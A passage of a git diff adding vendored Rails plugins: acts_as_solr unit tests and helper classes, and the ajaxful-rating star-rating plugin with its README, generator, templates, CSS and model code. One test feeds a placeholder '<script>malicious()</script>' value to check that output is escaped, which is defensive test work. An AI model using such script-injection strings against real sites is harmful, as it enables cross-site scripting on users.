@instance.to_solr_doc[:type] + end + + should "set the primary key fields" do + assert_equal("10", @instance.to_solr_doc[:pk_id]) + end + + should "add the includes if they were configured" do + @instance.configuration.merge! :include => [:author] + @instance.expects(:add_includes) + @instance.to_solr_doc + end + + context "with indexed fields" do + should "add fields with type" do + assert_equal "Chunky bacon!", @instance.to_solr_doc[:name_s] + end + + should "add the field boost" do + field = @instance.to_solr_doc.fields.find {|f| f.name.to_s == "name_s"} + assert_equal 9.0, field.boost + end + + should "set the default boost for the field, if none is configured" do + @instance.configuration[:solr_fields][:name][:boost] = nil + field = @instance.to_solr_doc.fields.find {|f| f.name.to_s == "name_s"} + assert_equal 25.0, field.boost + end + + should "not overwrite the type or id field" do + @instance.configuration[:solr_fields] = {:type => {}, :id => {}} + doc = @instance.to_solr_doc + assert_not_equal "humbug", doc[:type] + assert_not_equal "bogus", doc[:id] + end + + should "set the default value if field value is nil" do + @instance.name = nil + @instance.expects(:set_value_if_nil).with('s') + @instance.to_solr_doc + end + + should "not include nil values" do + @instance.name = "" + @instance.stubs(:set_value_if_nil).returns "" + assert_nil @instance.to_solr_doc[:name_s] + end + + should "escape the contents" do + @instance.name = "" + assert_equal "<script>malicious()</script>", @instance.to_solr_doc[:name_s] + end + end + end + end +end \ No newline at end of file diff --git a/vendor/plugins/acts_as_solr/test/unit/lazy_document_shoulda.rb b/vendor/plugins/acts_as_solr/test/unit/lazy_document_shoulda.rb new file mode 100644 index 00000000..55d6f145 --- /dev/null +++ b/vendor/plugins/acts_as_solr/test/unit/lazy_document_shoulda.rb @@ -0,0 +1,35 @@ +require 'test_helper' +require 'lazy_document' + +class UserModel; end + +class LazyDocumentTest < Test::Unit::TestCase + context "With a lazy document" do + setup do + @record = stub(:record) + @record.stubs(:is_valid?).returns true + UserModel.stubs(:find).returns @record + @document = ActsAsSolr::LazyDocument.new(1, UserModel) + end + + context "with an uninitialized document" do + should "fetch the record from the database" do + UserModel.expects(:find).with(1).returns(@record) + @document.is_valid? + end + end + + context "with an initialized document" do + should "not fetch the record again" do + @document.is_valid? + @document.expects(:find).never + @document.is_valid? + end + + should "reroute the calls to the record" do + @record.expects(:is_valid?).once + @document.is_valid? + end + end + end +end diff --git a/vendor/plugins/acts_as_solr/test/unit/parser_instance.rb b/vendor/plugins/acts_as_solr/test/unit/parser_instance.rb new file mode 100644 index 00000000..1c83a643 --- /dev/null +++ b/vendor/plugins/acts_as_solr/test/unit/parser_instance.rb @@ -0,0 +1,19 @@ +class ActsAsSolr::ParserInstance + include ActsAsSolr::ParserMethods + include ActsAsSolr::CommonMethods + attr_accessor :configuration, :solr_configuration + + def table_name + "documents" + end + + def primary_key + "id" + end + + def find(*args) + [] + end + + public :parse_results, :reorder, :parse_query, :add_scores, :replace_types +end \ No newline at end of file diff --git a/vendor/plugins/acts_as_solr/test/unit/parser_methods_shoulda.rb b/vendor/plugins/acts_as_solr/test/unit/parser_methods_shoulda.rb new file mode 100644 index 00000000..58518989 --- /dev/null +++ b/vendor/plugins/acts_as_solr/test/unit/parser_methods_shoulda.rb @@ -0,0 +1,278 @@ +require 'test_helper' +require 'parser_methods' +require 'common_methods' +require 'search_results' +require 'deprecation' +module Solr; module Request; end; end +require 'solr/request/base' +require 'solr/request/select' +require 'solr/request/standard' +require 'parser_instance' +require 'lazy_document' + +class ActsAsSolr::Post; end + +class ParserMethodsTest < Test::Unit::TestCase + + context "With a parser instance" do + setup do + @parser = ActsAsSolr::ParserInstance.new + end + + context "When parsing results" do + setup do + @results = stub(:results) + @results.stubs(:total_hits).returns(2) + @results.stubs(:hits).returns([]) + @results.stubs(:max_score).returns 2.1 + @results.stubs(:data).returns({"responseHeader" => {"QTime" => "10.2"}}) + end + + should "return a SearchResults object" do + assert_equal ActsAsSolr::SearchResults, @parser.parse_results(@results).class + end + + should "set the max score" do + assert_equal 2.1, @parser.parse_results(@results).max_score + end + + should "include the facets" do + @results.stubs(:data).returns({"responseHeader" => {"QTime" => "10.2"}, "facet_counts" => 2}) + assert_equal 2, @parser.parse_results(@results, :facets => true).facets + end + + context "when the format requests objects" do + setup do + @parser.configuration = {:format => :objects} + @parser.solr_configuration = {:primary_key_field => :pk_id} + @results.stubs(:hits).returns [{"pk_id" => 1}, {"pk_id" => 2}] + @parser.stubs(:reorder) + end + + should "query with the record ids" do + @parser.expects(:find).with(:all, :conditions => ["documents.id in (?)", [1, 2]]).returns [1, 2] + @parser.parse_results(@results) + end + + should "reorder the records" do + @parser.expects(:reorder).with([], [1, 2]) + @parser.parse_results(@results) + end + + should "add :include if :include was specified" do + @parser.expects(:find).with(:all, :conditions => ["documents.id in (?)", [1, 2]], :include => [:author]).returns [1, 2] + @parser.parse_results(@results, :include => [:author]) + end + end + + context "when the format doesn't request objects" do + setup do + @parser.solr_configuration = {:primary_key_field => "pk_id"} + end + + should "not query the database" do + @parser.expects(:find).never + @parser.parse_results(@results, :format => nil) + end + + should "return just the ids" do + @results.stubs(:hits).returns([{"pk_id" => 1}, {"pk_id" => 2}]) + assert_equal [1, 2], @parser.parse_results(@results, :format => nil).docs + end + + should "ignore the :lazy option" do + @results.stubs(:hits).returns([{"pk_id" => 1}, {"pk_id" => 2}]) + assert_equal [1, 2], @parser.parse_results(@results, :format => :ids, :lazy => true).docs + end + end + + context "with an empty result set" do + setup do + @results.stubs(:total_hits).returns(0) + @results.stubs(:hits).returns([]) + end + + should "return an empty search results set" do + assert_equal 0, @parser.parse_results(@results).total + end + + should "not have any search results" do + assert_equal [], @parser.parse_results(@results).docs + end + end + + context "with a nil result set" do + should "return an empty search results set" do + assert_equal 0, @parser.parse_results(nil).total + end + end + + context "with the scores option" do + should "add the scores" do + @parser.expects(:add_scores).with([], @results) + @parser.parse_results(@results, :scores => true) + end + end + + context "with lazy format" do + setup do + @parser.solr_configuration = {:primary_key_field => :pk_id} + @results.stubs(:hits).returns([{"pk_id" => 1}, {"pk_id" => 2}]) + end + + should "create LazyDocuments for the resulting docs" do + result = @parser.parse_results(@results, :lazy => true) + assert_equal ActsAsSolr::LazyDocument, result.results.first.class + end + + should "set the document id as the record id" do + result = @parser.parse_results(@results, :lazy => true) + assert_equal 1, result.results.first.id + end + + should "set the document class" do + result = @parser.parse_results(@results, :lazy => true) + assert_equal ActsAsSolr::ParserInstance, result.results.first.clazz.class + end + end + + end + + context "when reordering results" do + should "raise an error if arguments don't have the same number of elements" do + assert_raise(RuntimeError) {@parser.reorder([], [1])} + end + + should "reorder the results to match the order of the documents returned by solr" do + thing1 = stub(:thing1) + thing1.stubs(:id).returns 5 + thing2 = stub(:thing2) + thing2.stubs(:id).returns 1 + thing3 = stub(:things3) + thing3.stubs(:id).returns 3 + things = [thing1, thing2, thing3] + reordered = @parser.reorder(things, [1, 3, 5]) + assert_equal [1, 3, 5], reordered.collect{|thing| thing.id} + end + end + + context "When parsing a query" do + setup do + ActsAsSolr::Post.stubs(:execute) + @parser.stubs(:solr_type_condition).returns "(type:ParserMethodsTest)" + @parser.solr_configuration = {:primary_key_field => "id"} + @parser.configuration = {:solr_fields => nil} + end + + should "set the limit and offset" do + ActsAsSolr::Post.expects(:execute).with {|request| + 10 == request.to_hash[:rows] + 20 == request.to_hash[:start] + } + @parser.parse_query "foo", :limit => 10, :offset => 20 + end + + should "set the operator" do + ActsAsSolr::Post.expects(:execute).with {|request| + "OR" == request.to_hash["q.op"] + } + @parser.parse_query "foo", :operator => :or + end + + should "not execute anything if the query is nil" do + ActsAsSolr::Post.expects(:execute).never + assert_nil @parser.parse_query(nil) + end + + should "not execute anything if the query is ''" do + ActsAsSolr::Post.expects(:execute).never + assert_nil @parser.parse_query('') + end + + should "raise an error if invalid options where specified" do + assert_raise(RuntimeError) {@parser.parse_query "foo", :invalid => true} + end + + should "add the type" do + ActsAsSolr::Post.expects(:execute).with {|request| + request.to_hash[:q].include?("(type:ParserMethodsTest)") + } + @parser.parse_query "foo" + end + + should "append the field types for the specified fields" do + ActsAsSolr::Post.expects(:execute).with {|request| + request.to_hash[:q].include?("(username_t:Chunky)") + } + @parser.parse_query "username:Chunky" + end + + should "replace the field types" do + @parser.expects(:replace_types).returns(["active_i:1"]) + ActsAsSolr::Post.expects(:execute).with {|request| + request.to_hash[:q].include?("active_i:1") + } + @parser.parse_query "active:1" + end + + should "add score and primary key to field list" do + ActsAsSolr::Post.expects(:execute).with {|request| + request.to_hash[:fl] == ('id,score') + } + @parser.parse_query "foo" + end + + context "with the order option" do + should "add the order criteria to the query" do + ActsAsSolr::Post.expects(:execute).with {|request| + request.to_hash[:q].include?(";active_t desc") + } + @parser.parse_query "active:1", :order => "active desc" + end + end + + context "with facets" do + end + end + + context "When setting the field types" do + setup do + @parser.configuration = {:solr_fields => {:name => {:type => :string}, + :age => {:type => :integer}}} + end + + should "replace the _t suffix with the real type" do + assert_equal ["name_s:Chunky AND age_i:21"], @parser.replace_types(["name_t:Chunky AND age_t:21"]) + end + + context "with a suffix" do + should "not include the colon when false" do + assert_equal ["name_s"], @parser.replace_types(["name_t"], false) + end + + should "include the colon by default" do + assert_equal ["name_s:Chunky"], @parser.replace_types(["name_t:Chunky"]) + end + end + end + + context "When adding scores" do + setup do + @solr_data = stub(:results) + @solr_data.stubs(:total_hits).returns(1) + @solr_data.stubs(:hits).returns([{"id" => 2, "score" => 2.546}]) + @solr_data.stubs(:max_score).returns 2.1 + + @results = [Array.new] + + @parser.stubs(:record_id).returns(2) + + @parser.solr_configuration = {:primary_key_field => "id"} + end + + should "add the score to the result document" do + assert_equal 2.546, @parser.add_scores(@results, @solr_data).first.last.solr_score + end + end + end +end \ No newline at end of file diff --git a/vendor/plugins/acts_as_solr/test/unit/solr_instance.rb b/vendor/plugins/acts_as_solr/test/unit/solr_instance.rb new file mode 100644 index 00000000..4b182953 --- /dev/null +++ b/vendor/plugins/acts_as_solr/test/unit/solr_instance.rb @@ -0,0 +1,46 @@ +require 'instance_methods' + +class SolrInstance + include ActsAsSolr::InstanceMethods + attr_accessor :configuration, :solr_configuration, :name + + def initialize(name = "Chunky bacon!") + @name = name + end + + def self.primary_key + "id" + end + + def logger + @logger ||= Logger.new(StringIO.new) + end + + def record_id(obj) + 10 + end + + def boost_rate + 10.0 + end + + def irate + 8.0 + end + + def name_for_solr + name + end + + def id_for_solr + "bogus" + end + + def type_for_solr + "humbug" + end + + def get_solr_field_type(args) + "s" + end +end \ No newline at end of file diff --git a/vendor/plugins/acts_as_solr/test/unit/test_helper.rb b/vendor/plugins/acts_as_solr/test/unit/test_helper.rb new file mode 100644 index 00000000..650c329c --- /dev/null +++ b/vendor/plugins/acts_as_solr/test/unit/test_helper.rb @@ -0,0 +1,14 @@ +$:.unshift(File.join(File.expand_path(File.dirname(__FILE__)), "..", "..", "lib")) + +require 'rubygems' +require 'test/unit' + +if RUBY_VERSION =~ /^1\.9/ + puts "\nRunning the unit test suite doesn't as of yet work with Ruby 1.9, because Mocha hasn't yet been updated to use minitest." + puts + exit 1 +end + +require 'mocha' +gem 'thoughtbot-shoulda' +require 'shoulda' diff --git a/vendor/plugins/ajaxful-rating/README.textile b/vendor/plugins/ajaxful-rating/README.textile new file mode 100644 index 00000000..27abce01 --- /dev/null +++ b/vendor/plugins/ajaxful-rating/README.textile @@ -0,0 +1,213 @@ +h1. Ajaxful Rating + +Provides a simple way to add rating functionality to your application. + +h2. Repository + +Find it at "github.com/edgarjs/ajaxful-rating":http://github.com/edgarjs/ajaxful-rating + +h2. Demo + +You can find a demo working app for this plugin at "http://github.com/edgarjs/ajaxful-rating_demo_app":http://github.com/edgarjs/ajaxful-rating_demo_app +Just migrate and run... + +******************************************************************* + +h2. Instructions + +h3. Install + +To install the plugin: + script/plugin install git://github.com/edgarjs/ajaxful-rating.git + +h3. Generate + + script/generate ajaxful_rating UserModelName + +The generator takes one argument: UserModelName, which is the name of your *current* +user model. This is necessary to link both the rate and user models. + +Also this generator copies the necesary images, styles, etc. + +Example: +_I suppose you have generated already an authenticated model..._ + + script/generate authenticated user sessions + + script/generate ajaxful_rating user + +So this call will create a Rate model and will link it to your User model. + +h3. Prepare + +To let a model be rateable just add @ajaxful_rateable@. You can pass a hash of options to +customise this call: +* @:stars@ Max number of stars that can be submitted. +* @:allow_update@ Set to true if you want users to be able to update their votes. +* @:cache_column@ Name of the column for storing the cached rating average. +* @:dimensions@ Array of dimensions. Allows to rate the model on various specs, +like for example: a car could be rated for its speed, beauty or price. + +

+  class Car < ActiveRecord::Base
+    ajaxful_rateable :stars => 10, :dimensions => [:speed, :beauty, :price]
+  end
+  
+ +Then you need to add a call @ajaxful_rater@ in the user model. This includes a simple line so +you can add it _by your own_ as well (@has_many :rates@). + +

+  class User < ActiveRecord::Base
+    ajaxful_rater
+  end
+  
+ +Finally, as a mere recomendation to make it even easier, modify your routes to +map a rate action: + + map.resources :cars, :member => {:rate => :post} + +h3. Use it + +To add the star links you need to call the helper method @ratings_for@. +It tries to call @current_user@ method as the rater instance. You can pass @:static@ +as the second param to display only the static stars (not clickables). +And also you can pass the dimension you want to show the ratings for. + +

+  # show.html.erb
+  <%= ratings_for @article %>
+  
+  # To display static stars:
+  <%= ratings_for @article, :static %>
+
+  # To display the ratings for a dimension:
+  <%= ratings_for @article, :dimension => :speed %>
+  
+ +Or you can specify a custom user instance by passing it as parameter. + +

+  <%= ratings_for @article, @user %>
+  
+ +There's a condition here, if you didn't add the route @rate@ to your resource +(as shown above) or you named it different, you'll need to pass the url to the +correct action in your controller: + +

+  <%= ratings_for @article, :remote_options => {:url => your_rate_path(@article)} %>
+  
+ +*To display the stars properly you need to add a call in the head of your layout, which will generate the +required CSS style for the list. Also don't forget to include the javascripts.* + +

+    # within the head tags of your layout...
+    <%= javascript_include_tag :defaults %>
+    <%= ajaxful_rating_style %>
+  
+ +When a user submits a rating it will call the action in your controller, for +example (if you added the @rate@ route): + +

+  def rate
+    @article = Article.find(params[:id])
+    @article.rate(params[:stars], current_user, params[:dimension])
+    id = "ajaxful-rating-#{!params[:dimension].blank? ? "#{params[:dimension]}-" : ''}article-#{@article.id}"
+    render :update do |page|
+      page.replace_html id, ratings_for(@article, :wrap => false, :dimension => params[:dimension])
+      page.visual_effect :highlight, id
+    end
+  end
+  
+ +There are some more options for this helper, please see the rdoc for details. + +h3. Dimensions + +From now on you can pass an optional parameter to the @rates@ method for your rateable object to retrieve the +corresponding rates for the dimension you want. + +For example, you defined these dimensions: + +

+  class Car < ActiveRecord::Base
+    ajaxful_rateable :dimensions => [:speed, :beauty, :price]
+  end
+  
+ +And hence you can call @car.rates(:price)@ for the price rates or @car.rates(:speed)@ for the speed ratings and so on. + +h3. Namespaces + +If you use the plugin inside a namespace you’ll need to specify the rating url which should points to +a controller inside a namespace. Your files should be like these: + +

+  routes.rb:
+  map.namespace :admin do |admin|
+    admin.resources :articles, :member => {:rate => :post}
+  end
+
+  views/admin/articles/show.html.erb
+  <%= ratings_for @article, :remote_options => {:url => rate_admin_article_path(@article)} %>
+  
+ +h3. Cache + +To cache the model's rating average add a column named @rating_average@ to your model table: + +

+  class AddRatingAverageToArticles < ActiveRecord::Migration
+    def self.up
+      add_column :articles, :rating_average, :decimal, :default => 0
+    end
+  
+    def self.down
+      remove_column :articles, :rating_average
+    end
+  end
+  
+ +If you want to customise the name of the cache column just pass it in the options hash: + +

+  class Article < ActiveRecord::Base
+    ajaxful_rateable :cache_column => :my_cached_rating
+  end
+  
+ +To use caching with dimensions, make sure you have a cache column defined for each dimension you want cached. +So if you want to cache the @spelling@ dimension, you’ll need to have a column called @rating_average_spelling@ on the articles table. +If you use a custom cache column name, follow the pattern @cache_column_name_dimension_name@ to add cache columns for dimensions. + +h2. About backwards compatibility + +*Version 2.0 of the plugin works only from Rails 2.2 and on. It uses the module @I18n@ which is new in rails 2.2. Please note that you can use it in past versions as long as you _customise_ the source code.* + +I decided to jump directly to version 2.0 because there are many important changes. You can always +checkout the version 1.0 from the repository though. + +h2. Feedback + +If you find bugs please open a ticket at "http://edgarjs.lighthouseapp.com/projects/21005-ajaxful-rating":http://edgarjs.lighthouseapp.com/projects/21005-ajaxful-rating + +I'll really appreciate your feedback, please contact me at edgar.js[at]gmail.com + +h2. Credits + +The helper's style is from "komodomedia":http://www.komodomedia.com/blog/2007/01/css-star-rating-redux/ with author's permission. + +If you need the psd files of the stars you can grab them "here":http://files.mimbles.net/zips/ajaxful_rating_stars.zip + +Thanks to "bborn":http://github.com/bborn for the dimensions base implementation. + +h2. License + +This code is released under Creative Commons Attribution-Share Alike 3.0 license. + +!http://i.creativecommons.org/l/by-sa/3.0/88x31.png!:http://creativecommons.org/licenses/by-sa/3.0/ + diff --git a/vendor/plugins/ajaxful-rating/Rakefile b/vendor/plugins/ajaxful-rating/Rakefile new file mode 100644 index 00000000..d051ea4d --- /dev/null +++ b/vendor/plugins/ajaxful-rating/Rakefile @@ -0,0 +1,22 @@ +require 'rake' +require 'rake/testtask' +require 'rake/rdoctask' + +desc 'Default: run unit tests.' +task :default => :test + +desc 'Test the ajaxful_rating plugin.' +Rake::TestTask.new(:test) do |t| + t.libs << 'lib' + t.pattern = 'test/**/*_test.rb' + t.verbose = true +end + +desc 'Generate documentation for the ajaxful_rating plugin.' +Rake::RDocTask.new(:rdoc) do |rdoc| + rdoc.rdoc_dir = 'rdoc' + rdoc.title = 'AjaxfulRating' + rdoc.options << '--line-numbers' << '--inline-source' + rdoc.rdoc_files.include('README') + rdoc.rdoc_files.include('lib/**/*.rb') +end diff --git a/vendor/plugins/ajaxful-rating/generators/ajaxful_rating/USAGE b/vendor/plugins/ajaxful-rating/generators/ajaxful_rating/USAGE new file mode 100644 index 00000000..bef33309 --- /dev/null +++ b/vendor/plugins/ajaxful-rating/generators/ajaxful_rating/USAGE @@ -0,0 +1,5 @@ +Description: + Generates a model called Rate linked to a user model named as the passed parameter. + +Example: + ./script/generate ajaxful_rating User diff --git a/vendor/plugins/ajaxful-rating/generators/ajaxful_rating/ajaxful_rating_generator.rb b/vendor/plugins/ajaxful-rating/generators/ajaxful_rating/ajaxful_rating_generator.rb new file mode 100644 index 00000000..11d1421a --- /dev/null +++ b/vendor/plugins/ajaxful-rating/generators/ajaxful_rating/ajaxful_rating_generator.rb @@ -0,0 +1,30 @@ +class AjaxfulRatingGenerator < Rails::Generator::NamedBase + def initialize(runtime_args, runtime_options = {}) + super + + # if there's no user model + model_file = File.join('app/models', "#{file_path}.rb") + raise "User model (#{model_file}) must exits." unless File.exists?(model_file) + end + + def manifest + record do |m| + m.class_collisions 'Rate' + m.template 'model.rb', File.join('app/models', 'rate.rb') + m.migration_template 'migration.rb', 'db/migrate', + :migration_file_name => 'create_rates' + + # style + m.directory 'public/images/ajaxful_rating' + m.file 'images/star.png', 'public/images/ajaxful_rating/star.png' + m.file 'images/star_small.png', 'public/images/ajaxful_rating/star_small.png' + m.file 'style.css', 'public/stylesheets/ajaxful_rating.css' + end + end + + protected + + def banner + "Usage: #{$0} ajaxful_rating UserModelName" + end +end diff --git a/vendor/plugins/ajaxful-rating/generators/ajaxful_rating/templates/images/star.png b/vendor/plugins/ajaxful-rating/generators/ajaxful_rating/templates/images/star.png new file mode 100644 index 00000000..1e58c5d8 Binary files /dev/null and b/vendor/plugins/ajaxful-rating/generators/ajaxful_rating/templates/images/star.png differ diff --git a/vendor/plugins/ajaxful-rating/generators/ajaxful_rating/templates/images/star_small.png b/vendor/plugins/ajaxful-rating/generators/ajaxful_rating/templates/images/star_small.png new file mode 100644 index 00000000..1ec7f993 Binary files /dev/null and b/vendor/plugins/ajaxful-rating/generators/ajaxful_rating/templates/images/star_small.png differ diff --git a/vendor/plugins/ajaxful-rating/generators/ajaxful_rating/templates/migration.rb b/vendor/plugins/ajaxful-rating/generators/ajaxful_rating/templates/migration.rb new file mode 100644 index 00000000..28f45c5b --- /dev/null +++ b/vendor/plugins/ajaxful-rating/generators/ajaxful_rating/templates/migration.rb @@ -0,0 +1,19 @@ +class CreateRates < ActiveRecord::Migration + def self.up + create_table :rates do |t| + t.references :<%= file_name %> + t.references :rateable, :polymorphic => true + t.integer :stars + t.string :dimension + + t.timestamps + end + + add_index :rates, :<%= file_name %>_id + add_index :rates, :rateable_id + end + + def self.down + drop_table :rates + end +end diff --git a/vendor/plugins/ajaxful-rating/generators/ajaxful_rating/templates/model.rb b/vendor/plugins/ajaxful-rating/generators/ajaxful_rating/templates/model.rb new file mode 100644 index 00000000..4a18e480 --- /dev/null +++ b/vendor/plugins/ajaxful-rating/generators/ajaxful_rating/templates/model.rb @@ -0,0 +1,6 @@ +class Rate < ActiveRecord::Base + belongs_to :<%= file_name %> + belongs_to :rateable, :polymorphic => true + + attr_accessible :rate +end diff --git a/vendor/plugins/ajaxful-rating/generators/ajaxful_rating/templates/style.css b/vendor/plugins/ajaxful-rating/generators/ajaxful_rating/templates/style.css new file mode 100644 index 00000000..74460964 --- /dev/null +++ b/vendor/plugins/ajaxful-rating/generators/ajaxful_rating/templates/style.css @@ -0,0 +1,84 @@ +/* +* Style by Rogie http://www.komodomedia.com/blog/2007/01/css-star-rating-redux/ +*/ + +.ajaxful-rating, +.ajaxful-rating a:hover, +.ajaxful-rating a:active, +.ajaxful-rating a:focus, +.ajaxful-rating .current-rating{ + background: url(/images/ajaxful_rating/star.png) left -1000px repeat-x; +} +.ajaxful-rating{ + position: relative; + /*width: 125px; this is setted dynamically */ + height: 25px; + overflow: hidden; + list-style: none; + margin: 0; + padding: 0; + background-position: left top; +} +.ajaxful-rating li{ display: inline; } +.ajaxful-rating a, +.ajaxful-rating span, +.ajaxful-rating .current-rating{ + position: absolute; + top: 0; + left: 0; + text-indent: -1000em; + height: 25px; + line-height: 25px; + outline: none; + overflow: hidden; + border: none; +} +.ajaxful-rating a:hover, +.ajaxful-rating a:active, +.ajaxful-rating a:focus{ + background-position: left bottom; +} + +/* This section is generated dynamically. +Just add a call to the helper method 'ajaxful_rating_style' within +the head tags in your main layout +.ajaxful-rating .stars-1{ +width: 20%; +z-index: 6; +} +.ajaxful-rating .stars-2{ +width: 40%; +z-index: 5; +} +.ajaxful-rating .stars-3{ +width: 60%; +z-index: 4; +} +.ajaxful-rating .stars-4{ +width: 80%; +z-index: 3; +} +.ajaxful-rating .stars-5{ +width: 100%; +z-index: 2; +} +*/ +.ajaxful-rating .current-rating{ + z-index: 1; + background-position: left center; +} + +/* smaller star */ +.small-star{ + /*width: 50px; this is setted dynamically */ + height: 10px; +} +.small-star, +.small-star a:hover, +.small-star a:active, +.small-star a:focus, +.small-star .current-rating{ + background-image: url(/images/ajaxful_rating/star_small.png); + line-height: 10px; + height: 10px; +} diff --git a/vendor/plugins/ajaxful-rating/init.rb b/vendor/plugins/ajaxful-rating/init.rb new file mode 100644 index 00000000..6145c3c8 --- /dev/null +++ b/vendor/plugins/ajaxful-rating/init.rb @@ -0,0 +1,5 @@ +require 'ajaxful_rating' +require 'ajaxful_rating_helper' + +ActiveRecord::Base.send(:include, AjaxfulRating) unless ActiveRecord::Base.include?(AjaxfulRating) +ActionView::Base.send(:include, AjaxfulRating::Helper) unless ActionView::Base.include?(AjaxfulRating::Helper) diff --git a/vendor/plugins/ajaxful-rating/install.rb b/vendor/plugins/ajaxful-rating/install.rb new file mode 100644 index 00000000..e71b6e4e --- /dev/null +++ b/vendor/plugins/ajaxful-rating/install.rb @@ -0,0 +1 @@ +puts IO.read(File.join(File.dirname(__FILE__), 'README.textile')) \ No newline at end of file diff --git a/vendor/plugins/ajaxful-rating/lib/ajaxful_rating.rb b/vendor/plugins/ajaxful-rating/lib/ajaxful_rating.rb new file mode 100644 index 00000000..044c0ead --- /dev/null +++ b/vendor/plugins/ajaxful-rating/lib/ajaxful_rating.rb @@ -0,0 +1,218 @@ +module AjaxfulRating # :nodoc: + class AlreadyRatedError < StandardError + def to_s + "Model has already been rated by this user. To allow update of ratings pass :allow_update => true to the ajaxful_rateable call." + end + end + + def self.included(base) + base.extend ClassMethods + end + + module ClassMethods + attr_reader :options + + # Extends the model to be easy ajaxly rateable. + # + # Options: + # * :stars Max number of stars that can be submitted. + # * :allow_update Set to true if you want users to be able to update their votes. + # * :cache_column Name of the column for storing the cached rating average. + # + # Example: + # class Article < ActiveRecord::Base + # ajaxful_rateable :stars => 10, :cache_column => :custom_column + # end + def ajaxful_rateable(options = {}) + has_many :rates_without_dimension, :as => :rateable, :class_name => 'Rate', + :dependent => :destroy, :conditions => {:dimension => nil} + + + options[:dimensions].each do |dimension| + has_many "#{dimension}_rates", :dependent => :destroy, + :conditions => {:dimension => dimension.to_s}, :class_name => 'Rate', :as => :rateable + end if options[:dimensions].is_a?(Array) + + @options = options.reverse_merge( + :stars => 5, + :allow_update => true, + :cache_column => :rating_average + ) + include AjaxfulRating::InstanceMethods + extend AjaxfulRating::SingletonMethods + end + + # Makes the association between user and Rate model. + def ajaxful_rater(options = {}) + has_many :rates, options + end + + # Maximum value accepted when rating the model. Default is 5. + # + # Change it by passing the :stars option to +ajaxful_rateable+ + # + # ajaxful_rateable :stars => 10 + def max_rate_value + options[:stars] + end + end + + # Instance methods for the rateable object. + module InstanceMethods + + # Submits a new rate. Accepts a hash of tipical Ajax request. + # + # Example: + # # Articles Controller + # def rate + # @article = Article.find(params[:id]) + # @article.rate(params[:stars], current_user, params[:dimension]) + # # some page update here ... + # end + def rate(stars, user, dimension = nil) + return false if (stars.to_i > self.class.max_rate_value) + raise AlreadyRatedError if (!self.class.options[:allow_update] && rated_by?(user, dimension)) + + rate = (self.class.options[:allow_update] && rated_by?(user, dimension)) ? + rate_by(user, dimension) : rates(dimension).build + rate.stars = stars + if user.respond_to?(:rates) + user.rates << rate + else + rate.send "#{self.class.user_class_name}_id=", user.id + end if rate.new_record? + rate.save! + self.update_cached_average(dimension) + end + + # Returns an array with all users that have rated this object. + def raters + eval(self.class.user_class_name.classify).find_by_sql( + ["SELECT DISTINCT u.* FROM #{self.class.user_class_name.pluralize} u INNER JOIN rates r ON " + + "u.[id] = r.[#{self.class.user_class_name}_id] WHERE r.[rateable_id] = ? AND r.[rateable_type] = ?", + id, self.class.name] + ) + end + + # Finds the rate made by the user if he/she has already voted. + def rate_by(user, dimension = nil) + filter = "find_by_#{self.class.user_class_name}_id" + rates(dimension).send filter, user + end + + # Return true if the user has rated the object, otherwise false + def rated_by?(user, dimension = nil) + !rate_by(user, dimension).nil? + end + + # Instance's total rates. + def total_rates(dimension = nil) + rates(dimension).size + end + + # Total sum of the rates. + def rates_sum(dimension = nil) + rates(dimension).sum(:stars) + end + + # Rating average for the object. + # + # Pass false as param to force the calculation if you are caching it. + def rate_average(cached = true, dimension = nil) + avg = if cached && self.class.caching_average?(dimension) + send(caching_column_name(dimension)).to_f + else + self.rates_sum(dimension).to_f / self.total_rates(dimension).to_f + end + avg.nan? ? 0.0 : avg + end + + # Overrides the default +rates+ method and returns the propper array + # for the dimension passed. + # + # It may works as an alias for +dimension_rates+ methods. + def rates(dimension = nil) + unless dimension.blank? + send "#{dimension}_rates" + else + rates_without_dimension + end + end + + # Returns the name of the cache column for the passed dimension. + def caching_column_name(dimension = nil) + self.class.caching_column_name(dimension) + end + + # Updates the cached average column in the rateable model. + def update_cached_average(dimension = nil) + if self.class.caching_average?(dimension) + send("#{caching_column_name(dimension)}=", self.rate_average(false, dimension)) + save! + end + end + end + + module SingletonMethods + + # Name of the class for the user model. + def user_class_name + @@user_class_name ||= Rate.column_names.find do |c| + u = c.scan(/(\w+)_id$/).flatten.first + break u if u && u != 'rateable' + end + end + + # Finds all rateable objects rated by the +user+. + def find_rated_by(user) + find_statement(:user_id, user.id) + end + + # Finds all rateable objects rated with +stars+. + def find_rated_with(stars) + find_statement(:stars, stars) + end + + # Finds the rateable object with the highest rate average. + def find_most_popular(dimension = nil) + all.sort_by { |o| o.rate_average(true, dimension) }.last + end + + # Finds the rateable object with the lowest rate average. + def find_less_popular(dimension = nil) + all.sort_by { |o| o.rate_average(true, dimension) }.first + end + + # Finds rateable objects by Rate's attribute. + def find_statement(attr_name, attr_value) + rateable = self.base_class.name + sql = sanitize_sql(["SELECT DISTINCT r2.* FROM rates r1 INNER JOIN " + + "#{rateable.constantize.table_name} r2 ON r1.rateable_id = r2.id " + + "WHERE (r1.[rateable_type] = ? AND r1.[#{attr_name}] = ?)", + rateable, attr_value]) + find_by_sql(sql) + end + + # Indicates if the rateable model is able to cache the rate average. + # + # Include a column named +rating_average+ in your rateable model with + # default null, as decimal: + # + # t.decimal :rating_average, :precision => 3, :scale => 1, :default => 0 + # + # To customize the name of the column specify the option :cache_column to ajaxful_rateable + # + # ajaxful_rateable :cache_column => :my_custom_column + # + def caching_average?(dimension = nil) + column_names.include?(caching_column_name(dimension)) + end + + # Returns the name of the cache column for the passed dimension. + def caching_column_name(dimension = nil) + name = options[:cache_column].to_s + name += "_#{dimension.to_s.underscore}" unless dimension.blank? + name + end + end +end diff --git a/vendor/plugins/ajaxful-rating/lib/ajaxful_rating_helper.rb b/vendor/plugins/ajaxful-rating/lib/ajaxful_rating_helper.rb new file mode 100644 index 00000000..add9cf89 --- /dev/null +++ b/vendor/plugins/ajaxful-rating/lib/ajaxful_rating_helper.rb @@ -0,0 +1,183 @@ +module AjaxfulRating # :nodoc: + module Helper + class MissingRateRoute < StandardError + def to_s + "Add :member => {:rate => :post} to your routes, or specify a custom url in the options." + end + end + + # Generates the stars list to submit a rate. + # + # It accepts the next options: + # * :class CSS class for the ul. Default is 'ajaxful-rating'. + # * :link_class_prefix Prefix for the li a CSS class. Default is + # 'stars'. + # * :small_stars Set this param to true to display smaller images. + # Default is false. + # * :small_star_class CSS class for the list when using small + # images. Default is 'small-stars'. + # * :html Hash of options to customise the ul tag. + # * :remote_options Hash of options for the link_to_remote + # function. Default is {:method => :post, :url => + # 